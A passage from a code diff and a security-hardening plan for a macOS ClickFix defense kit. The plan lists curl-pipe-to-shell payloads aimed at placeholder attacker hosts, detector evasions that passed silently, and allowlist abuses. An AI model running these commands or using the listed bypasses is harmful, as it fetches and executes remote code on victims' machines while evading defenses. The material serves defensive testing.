"${ALLOWLIST_HOSTS[@]}"; do - if [[ "$buf" == *"$h"* ]]; then - matched=1 - break - fi - done - (( matched == 1 )) && return 0 - return 1 +# Returns 0 (true) if the clipboard text should raise an alert. +# ClipSentinel alerts on both the 'block' and 'warn' tiers: at copy time there +# is no confirmation to gate, only awareness to offer, and a heads-up costs the +# user nothing but a banner. +_is_dangerous() { + clickfix_check "$1" + [[ $CLICKFIX_VERDICT != silent ]] } # ============================================================================== @@ -204,12 +174,20 @@ APPLESCRIPT # Append an event to the log if a logfile is configured. We log the PREVIEW # only (truncated), with a timestamp — never the full payload, never anywhere # off-machine. +# +# v0.1.0 logged a 117-character PREVIEW of the copied text, which contained the +# attacker URL — while the README said contents "are never stored or sent +# anywhere," and the shipped LaunchAgent set CLIPSENTINEL_LOG by default. So +# the tool's own log was a plaintext record of everything dangerous the user +# ever copied. It now records only the verdict, the reason, and a truncated +# hash: enough to correlate two events as the same payload, never enough to +# recover the payload. The README now matches this behaviour. _log_event() { [[ -z "$LOGFILE" ]] && return 0 - local preview="$1" - preview="${preview//$'\n'/ }" - (( ${#preview} > 120 )) && preview="${preview[1,117]}..." - print -r -- "$(date '+%Y-%m-%dT%H:%M:%S%z') DANGEROUS_COPY ${preview}" >> "$LOGFILE" 2>/dev/null || true + local digest + digest="$(print -r -- "$1" | _hash)" + print -r -- "$(date '+%Y-%m-%dT%H:%M:%S%z') ${(U)CLICKFIX_VERDICT} sha256:${digest[1,12]} ${CLICKFIX_REASONS[1]:-unclassified}" \ + >> "$LOGFILE" 2>/dev/null || true } # ============================================================================== @@ -242,15 +220,12 @@ while true; do if [[ "$cur_hash" != "$last_hash" ]]; then last_hash="$cur_hash" + # Trust is decided inside clickfix_check: a command whose every URL is a + # known single-tenant installer (or an allowlisted host+path prefix) + # returns 'silent', so there is no separate allowlist step to get wrong. if [[ -n "$cur" ]] && _is_dangerous "$cur"; then - if _is_allowlisted "$cur"; then - # Known-good installer one-liner — stay quiet (but note it on the log - # so a curious user can audit suppressions). - [[ -n "$LOGFILE" ]] && print -r -- "$(date '+%Y-%m-%dT%H:%M:%S%z') ALLOWLISTED_COPY (suppressed)" >> "$LOGFILE" 2>/dev/null || true - else - _notify "$cur" - _log_event "$cur" - fi + _notify "$cur" + _log_event "$cur" fi fi diff --git a/docs/v0.2.0-plan.md b/docs/v0.2.0-plan.md new file mode 100644 index 0000000..f336ddb --- /dev/null +++ b/docs/v0.2.0-plan.md @@ -0,0 +1,361 @@ +# ClickFix Defense Kit — v0.2.0 Upgrade Plan + +**Prepared from a full red-team pass of `/Users/t./dev/clickfix-defense-kit` @ `5141278` (v0.1.0 + unreleased CI commit). Every bypass below was executed against the verbatim sourced source, not reasoned about.** Harness: `/private/tmp/claude-501/-Users-t-/c1e9e0d1-2c6d-496c-a3d9-7f4838e277d0/scratchpad/plan_verify.zsh` (sources the real `shellguard.zsh`, replicates ClipSentinel's real `_is_dangerous`/`_is_allowlisted`, executes nothing). No repo file was modified. + +--- + +## The one-paragraph verdict + +ShellGuard is the kit's declared load-bearing control and it does not currently hold that load. Of eleven realistic ClickFix payload shapes I ran through the real master regex, **nine passed silently** — including `bash -c "$(curl …)"` (the Homebrew shape), `| /bin/sh` (one character of path), `| bash;` (one trailing character), any URL with `&` in the query string, and `curl -o /tmp/p; sh /tmp/p`. Separately, `raw.githubusercontent.com` is bare-host allowlisted, so an attacker-owned repo is *silently trusted*, and ClipSentinel's allowlist contains the token `install.sh`, which suppresses the single most common payload filename in published AMOS IOCs. ExposureScan's headline invariant ("architecturally incapable of emitting a secret value") is false for the exact secret class it ranks P0. None of this is exotic. Every one of these is a one-keystroke evasion against a tool whose regex is published on GitHub. **v0.2.0 is not a feature release. It is the release where the two headline claims become true.** + +--- + +## Ranking method + +Ordered by **(what a real ClickFix victim would actually be hit by) ÷ (hours to fix)**. Not by cleverness, not by CVSS. A documentation line that corrects a false claim outranks a new tool, because a user who trusts a false claim is worse off than one who has no tool at all. Effort: **S** = under 2h · **M** = half-day to 2 days · **L** = multi-day. + +--- + +## P0 — broken or actively misleading today + +These ship in a public repo right now. A user reading the README today forms a materially wrong belief about what they are protected from. + +### P0-1 · ShellGuard's grammar does not detect the common payloads. Rewrite it as a tokenizer, and make `test-cases.md` executable. + +**Plainly:** the tool that the README calls "the genuinely unoccupied control point on macOS" and "the load-bearing block, install first" silently passes most of what it exists to stop. + +Verified against `_clickfix_master_re` sourced from `/Users/t./dev/clickfix-defense-kit/shellguard/shellguard.zsh`: + +| Payload | ShellGuard | ClipSentinel | +|---|---|---| +| `curl https://evil.test/x.sh \| sh` *(control)* | **BLOCK** | WARN | +| `bash -c "$(curl -fsSL https://evil.test/p.sh)"` | PASS-SILENT | silent | +| `sh -c "$(curl -fsSL https://evil.test/p.sh)"` | PASS-SILENT | silent | +| `curl -fsSL https://evil.test/x \| /bin/sh` | PASS-SILENT | silent | +| `curl https://evil.test/x \| bash;` | PASS-SILENT | WARN | +| `curl -s "https://evil.test/loader.sh?build=1&id=abc" \| bash` | PASS-SILENT | WARN | +| `curl -fsSL https://evil.test/x \| tee /tmp/p \| sh` | PASS-SILENT | silent | +| `curl -fsSL https://evil.test/x \| sudo -u nobody sh` | PASS-SILENT | silent | +| `curl https://evil.test/x \| command sh` | PASS-SILENT | silent | +| `curl -fsSL https://evil.test/x -o /tmp/p && sh /tmp/p` | PASS-SILENT | silent | +| `$(curl https://evil.test/x)` | PASS-SILENT | silent | +| `osascript -e 'do shell script "curl … \| sh"'` | PASS-SILENT | WARN | +| `curl -s https://evil.test/x.gz \| gunzip \| bash` | PASS-SILENT | silent | + +Root causes, in the source: the `[^|;&]*` negated run in patterns 1 and 6 cannot cross a `;`, `&`, or `|` — so an ordinary query string kills it. The interpreter alternations terminate with `([[:space:]]|$)`, so any trailing metacharacter kills it. The interpreter must be a bare literal at a fixed offset, so a path prefix, a prefix command, or a quote kills it. And nothing keys on the download and the execution being in *separate* commands. Note also that the two layers **disagree** on six of these rows, which falsifies ClipSentinel's README claim that its grammar is "kept in lockstep with ShellGuard's." + +**What changes.** Replace regex-over-raw-string with a small tokenizer, in a single shared file both tools source: + +- New `/Users/t./dev/clickfix-defense-kit/lib/clickfix-grammar.sh` — the only place the grammar and allowlist live. `shellguard.zsh` and `clipsentinel.sh` source it. This is the structural fix; everything else is a rule. +- Strip unquoted `# …` to end of line **before** analysis (kills the comment false-positives *and* the decoy-comment allowlist evasion). Keep the raw buffer for display. +- Split the buffer on `;` `&&` `||` newline into statements; split each statement on `|` into stages. +- Normalize each stage's command word: strip prefix commands (`sudo` **with flags**, `command`, `exec`, `env`, `nice`, `nohup`, `time`), strip quotes and backslashes, strip a leading absolute path. +- Classify: `DOWNLOADER` = curl|wget|fetch|ftp|nscurl|scp|nc|ncat|`openssl s_client`; `INTERPRETER` = sh|bash|zsh|dash|ksh|osascript|python*|perl|ruby|node|php|deno|bun|tclsh|lua|Rscript|pwsh|swift; `DECODER` = base64|xxd|`openssl enc`|uudecode|gunzip|gzip|zcat|tr|od. +- **Rule A:** any statement where an earlier stage is DOWNLOADER or DECODER and any later stage is INTERPRETER. (Covers rows 2–9 and 13 above, including interposed `tee`/`gunzip`.) +- **Rule B:** ` -c|-e` whose argument contains `$(` or a backtick plus a downloader. (Homebrew shape.) +- **Rule C:** a leading command substitution containing a downloader, at statement start. +- **Rule D:** downloader writing to a path (`-o` / `-O` / `--output` / `>`) anywhere in the buffer **and** a later statement executing, `chmod +x`-ing, or interpreting that path. Fires at the lower **warn** tier, not block — see the FP note. +- **Rule E:** `osascript` + `do shell script` + a downloader. +- **Rule F, new MUST-BLOCKs:** `xattr -c` / `-cr` / `-d com.apple.quarantine` (the "right-click Open" attack instruction, currently absent from both layers), and `hdiutil attach` of a remote or `/tmp` DMG (the shape in the current live campaign). + +**The false-positive prerequisite.** Widening the match makes the existing FPs worse, and over-prompting is already named in the ShellGuard README as the #1 reason a guard gets disabled. Today, verified: `ls # dont run curl https://x/y | sh` → BLOCK, `git commit -m "add /dev/tcp/host/9000 note"` → BLOCK, `python3 -c "import os; os.system(1)"` → BLOCK (pattern 5 fires on the substring `os.system` with no network primitive at all). Comment stripping fixes the first. Pattern 5 must require **both** a network primitive and an exec primitive, not either. `/dev/tcp` inside a quoted string argument to a non-shell command should not fire. And Rule D needs the lower tier or normal dev work will trip it hourly. + +**Two tiers, not one.** Add a `warn` tier (single Enter to proceed, banner shown) beneath the existing `block` tier (typed phrase). Rule D and the homoglyph detector belong at `warn`. Anything else pushes the FP budget past the point where the guard gets uninstalled, which is a worse outcome than any single miss. + +**Display safety, same file.** `_clickfix_guard` currently does `printf '\033[0;33m %s\033[0m\n' "$buf"` — attacker-controlled bytes straight to the tty. A payload can emit ANSI to scroll the explanation offscreen or paint a fake confirmation line into the kit's own warning. Strip C0/C1 and zero-width/bidi codepoints for display, cap at N lines with an explicit `(truncated, M more lines)`, and escape before printing. + +**Files:** new `lib/clickfix-grammar.sh`; `shellguard/shellguard.zsh`; `clipsentinel/clipsentinel.sh`; new `tests/corpus.tsv`; new `tests/run-corpus.zsh`; `.github/workflows/ci.yml`; `shellguard/test-cases.md` (becomes generated from the corpus). +**Effort: L** (the tokenizer is the bulk; the rules are cheap once it exists). + +**Proof.** Convert `shellguard/test-cases.md` from prose into `tests/corpus.tsv` — `verdictcommand`, three verdicts (`block` / `warn` / `silent`). Seed it with every existing matrix row **plus all thirteen rows in the table above as `block`, plus the three FP rows above as `silent`**. `tests/run-corpus.zsh` sources `lib/clickfix-grammar.sh` and asserts every row, then runs the identical corpus through both ShellGuard's and ClipSentinel's entry points and asserts the two verdicts are equal on every row. Wire it as a fourth CI job. **Run that job on `macos-latest`, not `ubuntu-latest`** — the existing zsh job runs on Ubuntu and `[[ =~ ]]` binds to the platform regex library, so a Linux-green corpus does not prove macOS behavior. The concrete gate: `run-corpus.zsh` exits 0 and prints `29/29` (or whatever the final count) on macOS runner, and prints a per-row diff on failure. This test file is the actual deliverable of P0-1; the grammar is just what makes it pass. + +--- + +### P0-2 · The allowlist is the cheapest bypass in the kit. Make it URL-prefix-based and delete the user-content hosts. + +**Plainly:** ShellGuard tells an attacker where to host the payload. + +Verified: `curl https://raw.githubusercontent.com/attacker/evil/main/x.sh | sh` → **PASS-SILENT (allowlisted host)**. Same for `raw.github.com`. `raw.githubusercontent.com` is at `shellguard.zsh:57` as a bare host, with the trailing comment "see note below" pointing at a note that does not exist. `_clickfix_all_hosts_trusted` matches exact-or-subdomain, so it also blanket-trusts every future `*.raw.githubusercontent.com`. Any GitHub account can publish an arbitrary script there in thirty seconds with zero review, and GitHub CDN staging is active 2026 infostealer infrastructure. + +ClipSentinel gets the *shape* right (it path-scopes to `/ohmyzsh`, `/Homebrew`, `/nvm-sh`) and then destroys it with `_is_allowlisted`, which is a bare substring test against the **entire clipboard buffer**, and whose list contains the token `install.sh`. Verified: + +- `curl -fsSL https://goatramz.example/get4/install.sh | bash` → **SILENT** (this is the published AMOS IOC shape; only the domain is redacted) +- `curl -s https://evil-bun.shop/p | bash` → **SILENT** (`bun.sh` substring-matches `evil-bun.shop`) +- `curl http://evil.test/p | bash # deno.land` → **SILENT** (a trailing comment silences the whole tool) + +A ClickFix page controls the exact clipboard bytes. This is a guaranteed, one-token, total suppression of the copy-time layer. + +**What changes.** In `lib/clickfix-grammar.sh`: split the trust data into `_ALLOW_HOSTS` (single-tenant installer endpoints only — `sh.rustup.rs`, `get.docker.com`, `install.python-poetry.org`, `get.pnpm.io`) and `_ALLOW_URL_PREFIXES` (`raw.githubusercontent.com/ohmyzsh/`, `/Homebrew/`, `/nvm-sh/`). Trust requires a **scheme+host+path-prefix** match; never apply the `*.host` subdomain rule to a user-content domain. Delete bare `raw.githubusercontent.com`, `raw.github.com`, `bun.sh`, and the `install.sh` pseudo-host outright — a bare filename can never be a trust anchor. Extract hosts only from the comment-stripped buffer. Add a never-allowlistable HIGH-RISK staging set (`gist.githubusercontent.com`, `objects.githubusercontent.com`, `cdn.discordapp.com`, `pastebin.com/raw`, `ipfs.io`, `*.ipfs.dweb.link`, `t.me`) that escalates the warning text instead of suppressing it. Update the ShellGuard README's allowlist prose, which currently names `raw.githubusercontent.com` and `bun.sh` as defaults. + +**Files:** `lib/clickfix-grammar.sh`; `shellguard/shellguard.zsh`; `clipsentinel/clipsentinel.sh`; `shellguard/README.md`; `clipsentinel/README.md`. +**Effort: S** (data + one matching function, once P0-1's shared lib exists). + +**Proof.** Corpus rows asserting `block`: the two `raw.githubusercontent.com/attacker/…` lines, the two AMOS `install.sh` IOC shapes, `evil-bun.shop`, and the trailing-`# deno.land` line. Corpus rows asserting `silent`: `curl https://sh.rustup.rs | sh`, `curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh | sh`. Plus a CI assertion that both tools resolve their allowlist from the same file (grep that neither `shellguard.zsh` nor `clipsentinel.sh` contains a literal host list). That last assertion is what stops the drift from recurring. + +--- + +### P0-3 · ExposureScan emits secret values. The privacy invariant is the product, and it is currently false. + +**Plainly:** the README says "architecturally incapable of emitting a secret value" and "we report a note's title + category only — the matched substring is never emitted." For the single highest-value secret class the tool ranks P0, both statements are wrong. + +`redact()` is two regexes: `_VALUE_SHAPE = [A-Za-z0-9+/=_-]{20,}` (needs one unbroken 20+ char run) and `_ASSIGNMENT = (=)\s*\S+` (stops at the first space). Verified against the real module: + +``` +in "Note 'abandon ability able about above absent absorb abstract absurd abuse access accident'" +out ...byte-identical. A 12-word BIP39 mnemonic passes through 100% intact. +in 'PIN 4821 / password hunter2 / 2FA backup 731-449' out unchanged +in 'postgres://admin:hunter2@db.internal:5432/prod' out unchanged +in 'wifi password = correct horse battery staple' +out 'wifi password = horse battery staple' <- 3 of 4 words survive, and the + literal '' makes the + line read as sanitized +in 'shopping\x1b[31mRED' out unchanged (ANSI passes) +in 'title\n### P0 - INJECTED FINDING' out unchanged (markdown injection) +``` + +Now compose that with the emission paths. `scan_apple_notes` (`exposurescan.py:537`) emits `name=f"Note '{redact(title)[:60]}' — {cats}"`. **Apple Notes does not have user-chosen titles — `ZTITLE1` is derived from the note's first line.** The exact user this surface exists for is someone who pasted a seed phrase into Notes, so the secret *is* the title. The 60-char slice is a formatting truncation, not a security control. `scan_pii_markers` (`exposurescan.py:848`) emits `name=f"{Path(path_str).name} — {summary}"`, so a filename containing a space-separated PAN is reproduced verbatim into stdout, the `--out` markdown, and the `--json` sidecar — helpfully annotated `credit-card: 1`. + +**What changes.** Redaction stops being a shape filter and becomes a whitelist at the emission points: + +1. `redact()` gains, as its **first** operation, `re.sub(r"[\x00-\x08\x0b-\x1f\x7f-\x9f]", "\ufffd", text)` and collapses `\n`/`\r` to a space. +2. Change `_ASSIGNMENT` to `re.compile(r"(=)\s*.+$", re.M)`. +3. Ship the 2048-word BIP39 list; any run of ≥6 all-BIP39 tokens becomes ``. +4. Proximity rule: within N chars of a `SENSITIVE_KEY_HINTS` / `SENSITIVE_CONTENT_CATEGORIES` keyword, redact to end of line. +5. **Notes titles are never emitted raw.** `name=f"Note #{pk} (title {len(title)} chars, modified {mtime}) — {cats}"`. If the title itself matched a category, emit ``. The modification date is what actually lets the user find the note. +6. **PII filenames are run through `PII_PATTERNS` before emission.** On a match, emit `<filename withheld — matched {cats}> (#{sha256(name)[:8]}) in {parent}/ ({size}, {mtime})`. Same for `Finding.location`. +7. Escape markdown-significant leading characters (`#`, `>`, `-`, `|`, backtick) in every interpolated `name`/`detail`/`location`, hard-capped to one line. + +**Files:** `/Users/t./dev/clickfix-defense-kit/exposurescan/exposurescan.py`; `/Users/t./dev/clickfix-defense-kit/exposurescan/tests/test_redaction.py`; `/Users/t./dev/clickfix-defense-kit/exposurescan/README.md`; new `exposurescan/bip39.txt`. +**Effort: M.** + +**Proof.** The existing test file is 138 lines covering `redact()` and `scan_env_files` only. Add adversarial and **end-to-end** cases: + +- `assert not any(w in redact("PASSPHRASE = correct horse battery staple") for w in ("correct","horse","battery","staple"))` +- Build a synthetic `NoteStore.sqlite` on the real schema with a note whose first line is a 12-word BIP39 mnemonic; run the real `scan_apple_notes` → `render_markdown` → `build_json_sidecar` and assert **none of the 12 words** appears in either artifact. +- Create a temp Documents dir containing `visa 4111 1111 1111 1111 exp 0327 cvv 415.csv`; assert `4111` does not appear in the markdown or the JSON. +- `assert "\x1b" not in render_markdown(...)` and: a title containing `\n### P0` produces exactly one `###` heading in the rendered output. +- A CI grep asserting no `Finding(` call interpolates a raw filesystem name — the invariant should be enforced structurally, not per-surface. + +**Also fix at the same time (S each, same file):** `shutil.copy2` → `shutil.copyfile` + explicit `os.chmod(0o600)` (copy2's `copystat` currently widens the mkstemp 0600 back to the source's 0644); wrap `__enter__` in try/except so a TCC `PermissionError` mid-copy does not orphan a partial credential DB in TMPDIR, and register temps in an `atexit` + SIGTERM/SIGINT handler; write `--out`/`--json` via `os.open(..., 0o600)` then `os.replace()` and change the README's own `/tmp/exposure.json` example to `~/.local/state/exposurescan/` (a world-readable credential map in `/tmp` is a foot-gun the README currently demonstrates); drop `immutable=1` **or** drop the `-wal` sidecar copying, because doing both means the copied WAL is never read and the most recent logins and cookies are silently under-counted in a report whose whole output is a risk score. + +--- + +### P0-4 · Documentation honesty pass. Three of the kit's stated facts are checkably wrong, and the credibility is the product. + +**Plainly:** this repo's entire pitch is that it refuses claims it cannot back. A macOS-security reader will check exactly these three things first, and all three currently fail. + +**(a) The macOS 26.4 paste-protection description is wrong in a way that costs the kit its best argument.** README:65-67 says the warning "keys off the source app — so it provably misses a `curl | bash` the page placed on the clipboard from a browser the user trusts." Per Adam Codega's reversing and Wardle's confirmation: Apple does **not** inspect paste content at all (even "hello world" triggers it), it matches `_sourceSigningIdentifier` against a 74-app list — so a `curl|bash` from Safari is precisely what it *does* flag. The real bypasses are structural and far more useful to the kit: the dialog is **not shown at all** if dev tools are installed or `/Library/Developer` exists, **not shown** if Terminal was opened in the last 30 days, and `xprotectd` disables paste protection entirely when SIP is off (FeatureFlag `CopyPasteBlocking`). Conditions 1 and 2 mean **Apple's paste protection is inactive on 100% of this kit's stated audience.** That is a dramatically stronger argument for ShellGuard existing, and the kit is currently leaving it on the table while stating something falsifiable. Also missing: Apple ships two alert tiers, one of which offers no override. + +**(b) "The genuinely unoccupied control point on macOS" is no longer true.** Objective-See added ClickFix protection to BlockBlock in **February 2026** — free, inspects the actual pasted content at Cmd+V via a global keydown monitor, catches new families. The README already credits Objective-See for BlockBlock's *persistence* monitoring and does not mention that BlockBlock now covers ClipSentinel's entire stage and overlaps ShellGuard's. Narrow the claim to what survives, which is still real: ShellGuard is the only control that fires on **typed** (not pasted) commands, needs **no root, no kext, no TCC grant, no system extension**, and works on a machine where the user will not install a system extension. Honest narrowing strengthens this; the overclaim is the kit's single biggest credibility liability. + +**(c) Add a coverage matrix, because ShellGuard structurally sees exactly one execution path.** ZLE only exists in an interactive zsh. Demonstrated locally with benign markers: `/bin/sh proof.command` and `osascript -e 'do shell script "touch /tmp/cfk_marker_osa"'` both executed with zero ZLE involvement. The kit is blind to: a double-clicked `.command`/`.terminal`, Script Editor, a `.pkg` pre/postinstall (runs as **root**, and the user is conditioned to type an admin password into Installer.app), an `.app` from a mounted DMG, npm/pip postinstall, a VS Code task, `zsh -c`, `bash -lc`. Repo grep: "Script Editor" 0 hits, "pkg" 0 hits, "dmg" 0 hits. **And the current dominant macOS ClickFix variant is precisely one of these:** the `applescript://` deep link that auto-opens Script Editor pre-filled with `do shell script "curl -kSsfL <url> | zsh"` and asks the user to press Run — no clipboard write, no shell prompt, no ZLE. That variant defeats ClipSentinel, ShellGuard, and Apple's 26.4 paste protection simultaneously, and it was reportedly a deliberate response to 26.4. + +**(d) ClipSentinel's README contradicts its shipped default.** README:68-69 and 137-139 say contents "are never stored or sent anywhere," but `com.clickfixkit.clipsentinel.plist:53-54` sets `CLIPSENTINEL_LOG` to a file by default and `_log_event` appends a 117-char preview — including the attacker URL — of every dangerous copy. Either default the log to empty (opt-in) or log a pattern name + hash instead of the copied text. Pick one and make the README match. + +**What changes.** Rewrite README.md:65-67 with the correct mechanism and the three real exemption conditions. Amend the ShellGuard and ClipSentinel rows of the prior-art table and the "note on honesty" block. Add a **Coverage matrix** table to README.md: rows = every macOS execution path, columns = each kit layer + BlockBlock + Santa + Apple 26.4, cells = covers / partial / does not cover, with a source URL per non-obvious claim. Add `docs/prior-art.md` with the same matrix at kill-chain granularity. Add `docs/why-not-endpoint-security.md` documenting `ES_EVENT_TYPE_RESERVED_1` (the paste AUTH event that *is* the correct API), the `com.apple.private.endpoint-security.client` entitlement wall that locks out every third party including BlockBlock, and the SIP + FeatureFlag gates — this is what justifies the kit living at the shell layer instead of the ES layer, and its absence makes the architecture argument read as under-researched. + +**Files:** `/Users/t./dev/clickfix-defense-kit/README.md`; `/Users/t./dev/clickfix-defense-kit/shellguard/README.md`; `/Users/t./dev/clickfix-defense-kit/clipsentinel/README.md`; `/Users/t./dev/clickfix-defense-kit/clipsentinel/com.clickfixkit.clipsentinel.plist`; new `docs/prior-art.md`; new `docs/why-not-endpoint-security.md`. +**Effort: M** (writing, no code). **Highest credibility-per-hour item in the plan.** + +**Proof.** Ship `shellguard/preflight` (S, ~40 lines) that turns the documentation fix into a runtime argument and is itself the test: it runs `csrutil status`, `ls -d /Library/Developer`, `xcode-select -p`, `defaults read com.apple.Terminal LastTerminalStartTime` and prints either `Apple's paste protection is INACTIVE on this Mac (dev tools present) — ShellGuard is your only paste-time control` or the converse. Assert in CI that it exits 0 and emits one of exactly two known strings. For the doc claims themselves: a CI link-checker over `docs/prior-art.md` (every claim must carry a resolvable source URL) and a `grep -c "genuinely unoccupied"` over `README.md` asserting 0 after the rewrite. + +--- + +### P0-5 · `canary --list` crashes. The advertised audit command has never worked with a non-empty ledger. + +`canary-gen.sh:198` reads `read -r marker path _kind _created` and lines 200/202 print `"$kind"`. The script runs `set -euo pipefail` (line 48), so the unbound `kind` aborts with `kind: unbound variable`, exit 1, the moment the ledger has any rows. The user cannot review or verify what was planted — and the *missing-decoy* detection, which the README calls out as itself a breach signal, is on the same broken line. + +**What changes.** Rename the read variable to `kind` (drop the underscore) in `do_list`. One character. +**Files:** `/Users/t./dev/clickfix-defense-kit/canary/canary-gen.sh`. +**Effort: XS.** + +**Proof.** A CI smoke test (bash, runs on ubuntu): `HOME=$tmp ./canary-gen.sh --paths $tmp/proj` then `./canary-gen.sh --list` — assert exit 0 and one output line per planted decoy. ShellCheck will not catch this (the variable exists elsewhere in the file), which is exactly why it needs an execution test, not a lint rule. + +--- + +## P1 — real gaps, worth v0.2.0, nothing is currently lying about them + +### P1-1 · `INCIDENT.md` + `panic.sh` — the kit was born from a breach and has nothing for the hour after one. + +**This is the highest impact-per-hour item in the entire plan.** It is P1 only because absence is not a false claim, not because it matters less. Repo grep across all files: "revoke" 0 hits, "forwarding rule" 0, "app-specific" 0, "deploy key" 0, "reinstall" 0, "Time Machine" 0. `canary/README.md` ends at "you find out" and hands off to no procedure. A user whose Canary fires at 2am is holding an alert with no next step, on the compromised machine. + +The content is a strictly ordered checklist, and the ordering is the value: + +0. **Crypto first, because it is the only irreversible loss.** If a seed or keystore was on disk, generate a **new** wallet on a **different, clean** device and move funds now. Do not "change the password." +1. Get off the network. Work from a phone or clean device. Do not reboot yet (see P1-2). +2. **Global sign-out / session revocation before any password reset.** This is the most commonly inverted step in consumer IR: a stolen session cookie authenticates without the password and without MFA, and some providers do not invalidate live sessions on password change. ExposureScan already knows this — `exposurescan.py:469` literally says "session hijack — bypasses password + MFA while cookie is valid" — and the kit never converts the insight into a procedure. +3. Revoke OAuth third-party grants (Google/GitHub/Microsoft/Slack) — these survive every password change. +4. **Then** rotate passwords, starting with the email account that can reset the others. +5. **Mail persistence sweep** — forwarding rules, filters matching `reset|verify|code`, "Send mail as" aliases, granted account access, app-specific passwords, recovery address/phone. All invisible in the normal UI, all survive a reset. Do this even if nothing looks wrong. +6. **Developer tokens, ordered by blast radius** — npm/PyPI publish tokens **first** (a personal breach becomes a supply-chain breach), then cloud keys (disable-then-delete so CloudTrail survives), then GitHub PATs, SSH/GPG keys, **per-repo deploy keys and Actions secrets** (the most-forgotten items, because there is no revoke-all button), then Vercel/Netlify/Railway/Convex/Stripe. +7. **Apple ID** — device list, remove unknown devices, rotate, regenerate app-specific passwords, verify trusted numbers. State plainly that iCloud Keychain sync means one Apple ID compromise equals every synced credential on every device. +8. **The reinstall decision, as a bright line, not a vibe.** Did anything obtain root? (Did you type a password into any prompt during or after? Is there a new `/Library/LaunchDaemons` entry, a new privileged helper in `/Library/PrivilegedHelperTools`, a new config profile, a new system extension?) **Yes to any → erase and reinstall via Recovery, restore DATA only, treat every credential as burned.** No to all and exposure is browser-scoped → targeted cleanup is defensible. Third option: restore a Time Machine snapshot predating the incident, with the caveat that a post-infection snapshot restores the infection. + +`panic.sh` prints it offline (assume no network, no browser, hostile machine). It must be printable to paper and readable **on a phone**, not on the compromised Mac. + +**Files:** new `/Users/t./dev/clickfix-defense-kit/INCIDENT.md`; new `/Users/t./dev/clickfix-defense-kit/panic.sh`; links from `canary/README.md`, `watchpost/README.md`, `README.md`. +**Effort: M** (writing). + +**Proof.** Not a unit test — a walkthrough. Run the checklist end-to-end against a throwaway Google + GitHub account and record, per step, that the linked URL still resolves to the described control and that the step is completable from a phone browser. Assert in CI that every URL in `INCIDENT.md` returns 200. Then the real test: hand it to one non-technical person and time how long until they are stuck. If they get stuck, the step is written for you and not for them. + +--- + +### P1-2 · `preserve.sh` — evidence capture before remediation, wrapping Aftermath rather than rebuilding it. + +Every instinct after an alert destroys the record that determines what actually needs rotating. WatchPost makes it worse **by design**: after alerting it promotes the baseline, so the diff that proved something appeared is gone next run. `--no-update` exists and is not documented as the incident flag. + +`preserve.sh` writes a timestamped read-only bundle to **external** media: unified log excerpt for process exec + network (last 7d), `ls -l@` of `~/Downloads` with quarantine xattrs and `kMDItemWhereFroms` origin URLs, all LaunchAgent/Daemon plists with hashes and `codesign` verdicts, `~/.zsh_history`, `~/.ssh/authorized_keys`, crontab, TCC.db copies, `systemextensionsctl list`, `profiles status`, `ps` + `lsof -i`. **If Jamf's Aftermath is present, shell out to it and stop** — it is free, Swift, purpose-built, and collects a superset. Do not reimplement collection. Then: document `--no-update` as *the* incident flag in `watchpost/README.md`, and change WatchPost so an alert is not baseline-promoted until acknowledged (write a pending file and keep re-alerting), which closes the missed-banner hole. + +**Files:** new `/Users/t./dev/clickfix-defense-kit/preserve.sh`; `/Users/t./dev/clickfix-defense-kit/watchpost/watchpost.sh`; `/Users/t./dev/clickfix-defense-kit/watchpost/README.md`. +**Effort: M.** + +**Proof.** Run `preserve.sh` into a temp dir on this machine; assert the bundle contains all listed artifacts, that every file in it is mode 0400, and that the bundle is self-contained (no symlinks out). Separately: plant a benign LaunchAgent in a sandboxed `WATCHPOST_STATE_DIR`, run WatchPost twice, assert the second run **still** reports the un-acknowledged change (today it reports nothing). + +--- + +### P1-3 · WatchPost's baseline is user-writable and can be silently poisoned or deleted. + +`~/.local/state/watchpost/baseline.json`, mode 0644, user-owned, no integrity tag. Any code running as the user — which is precisely the infostealer this tool targets — can (a) pre-inject its future persistence entry so the real drop diffs clean, or (b) `rm baseline.json`, after which the next run reports "Baseline written… No diffing on first run" and silently absorbs the malicious persistence as legitimate. Verified in a sandbox with `HOME` and `WATCHPOST_STATE_DIR` overridden and `osascript`/`crontab` stubbed: both attacks produced "No persistence changes detected." / silent re-baseline. + +**What changes.** Treat "baseline missing on a machine that was previously armed" as an **alertable event**, not a first run — drop a separate `armed` marker so deletion is detectable. Add an HMAC integrity tag keyed from a file not sitting next to the baseline. For the root-daemon variant, root-owned `/var/db/watchpost` at 0600. Add an opt-in alert-on-removal mode scoped to the kit's own agents, since WatchPost's by-design silence on removals means an attacker can delete ClipSentinel and WatchPost with no alert. + +**Files:** `/Users/t./dev/clickfix-defense-kit/watchpost/watchpost.sh`; `/Users/t./dev/clickfix-defense-kit/watchpost/README.md`. +**Effort: M.** + +**Proof.** Three sandbox regression tests in CI-runnable form: (A) pre-seed a fake entry into `baseline.json`, drop the matching plist, assert the run **alerts** (today: silent); (B) delete `baseline.json` with the `armed` marker present, assert the run alerts "BASELINE MISSING" and refuses to silently re-baseline (today: silent absorption); (C) remove `com.clickfixkit.clipsentinel.plist`, assert the run alerts under the new removal mode. + +--- + +### P1-4 · ExposureScan: the credentials a developer-targeted stealer takes first are not scanned. + +The blast-radius map covers browser logins, Notes, `.env`, `~/.secrets`, PII — and misses the highest-pivot files on a solo dev's Mac. On this machine right now: `/Users/t./.ssh/id_ed25519_NEW` is a **passphrase-less private key**; `~/.npmrc` (600), `~/.config/gh/hosts.yml` (600) and `~/.docker/config.json` (644, world-readable) all hold live tokens. An SSH key plus a GitHub token is push access to every repo the developer owns, which is a supply-chain compromise, not a personal one — and the report currently says nothing about any of it. + +Add `scan_dev_credentials`, names-and-shape-only, consistent with the existing invariant: `~/.ssh` key filename + type + **ENCRYPTED vs PLAINTEXT** (P0, pivot text "push access to every repo you own"); presence + mode + key **names** only for `~/.aws/credentials`, `~/.npmrc`, `~/.pypirc`, `~/.netrc`, `~/.config/gh/hosts.yml`, `~/.docker/config.json`, `~/.kube/config`, `~/.config/gcloud`; secret-shaped token **counts** (with line numbers, never text) in `~/.zsh_history` / `~/.bash_history`. + +Add in the same pass, because they change the *shape* of the report rather than its length: **cookie row counts per browser profile with the "sessions survive password rotation" warning** (this is what makes P1-1's step-2 ordering land), `login.keychain-db` presence + item count, wallet-extension LevelDB presence under each profile's `Local Extension Settings` and desktop wallet bundles (P0, "irreversible, uninsured, no chargeback" — the tool tiers seed phrases P0 in Notes and never looks where wallets actually 